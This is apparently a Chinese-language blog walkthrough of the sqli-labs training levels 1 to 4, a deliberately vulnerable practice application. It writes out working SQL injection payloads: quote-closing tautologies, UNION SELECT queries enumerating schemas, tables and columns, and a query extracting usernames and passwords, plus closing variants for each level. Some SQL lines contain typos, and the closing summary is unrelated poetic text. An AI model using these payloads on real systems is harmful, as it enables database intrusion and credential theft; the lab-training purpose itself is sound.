Background-1 基础知识 sqli-Labs Less1-Less-4

文章目录

  • 一、Less-1
  • 二、Less-2
  • 三、Less-3
  • 四、Less-4
  • 总结

一、Less-1

http://sqli:8080/Less-1/?id=1

在第一关我们可以尝试增加一个单引号进行尝试

http://sqli:8080/Less-1/?id=1'

错误显示如下:
在这里插入图片描述

 near ''1'' LIMIT 0,1' at line 1

推测语法的结构


select *from where ***  id='  'id' limit 0,1'

上述错误中我们可以推测由于增加了1’导致语法变成'1'' limit 0,1,是由于多加了一个'造成的后果。
下面是尝试解决的方法
尝试' or 1=1--+把但单引号给闭合
此时的语句构成如下代码段:

selecr ***from  **  where id= '1' or 1=1--+ ' limit 0,1

接下来:
通过order by 来查看有几列数据,当尝试到 order by 4时出现报错猜测只有三列数据。

Background-1 基础知识 sqli-Labs Less1-Less-4_第1张图片为什么造成sql注入分析,由于对单引号闭合后,使用了 or 1=1永真

接下来:采用联合union 把两个多个sql语句连接起来。

http://sqli:8080/Less-1/?id=-1' union select 1,2--+

(当id=-1时,前一个内容为空从而执行后面的语句),从而构造了union语句
下面进行爆数据库:

select 1,2,group_concat(schema_name) from information_schema.schemata--+;

Background-1 基础知识 sqli-Labs Less1-Less-4_第2张图片
爆security的表:

-1'union select 1,2,group_concat( table_name) from information_schema.tables where 
table_schema='security'--+

Background-1 基础知识 sqli-Labs Less1-Less-4_第3张图片
爆users表中的列

-1'union select 1,2,group_concat(column_name) from information_schema.columns where 
table_name='users'--+

Background-1 基础知识 sqli-Labs Less1-Less-4_第4张图片

爆数据

?id=-1'union select 1,username,password from users where id=1--+

Background-1 基础知识 sqli-Labs Less1-Less-4_第5张图片

二、Less-2

Background-1 基础知识 sqli-Labs Less1-Less-4_第6张图片
根据报错信息推测开发者使用的语句是:

select *from table where=(使用的是整数)--+

可成功注入的有:

or 1=1--+
or 1=1--+

三、Less-3

Background-1 基础知识 sqli-Labs Less1-Less-4_第7张图片根据报错信息提示开发者使用的语句是:

select * from table where id=('out input here')--+

可成功注入的有:

 ') or '1'=('1
 ') or 1=1--+

四、Less-4

Background-1 基础知识 sqli-Labs Less1-Less-4_第8张图片
根据报错信息我们推测sql的语句:

select * from table where=("$id")--+

可成功注入的有:

") or "1"=("1
") or 1=1--+

总结

离别总是不经意间,还没来得及告别就已不见,不舍的心情难以言表,相见与分离是现实却如梦,我已傻傻分不清二者。
逍遥游;尧让天下于许由,肩吾问于连叔曰,送人资章甫而适,惠子问庄子曰

你可能感兴趣的:(SQL注入专题,less,数学建模,前端)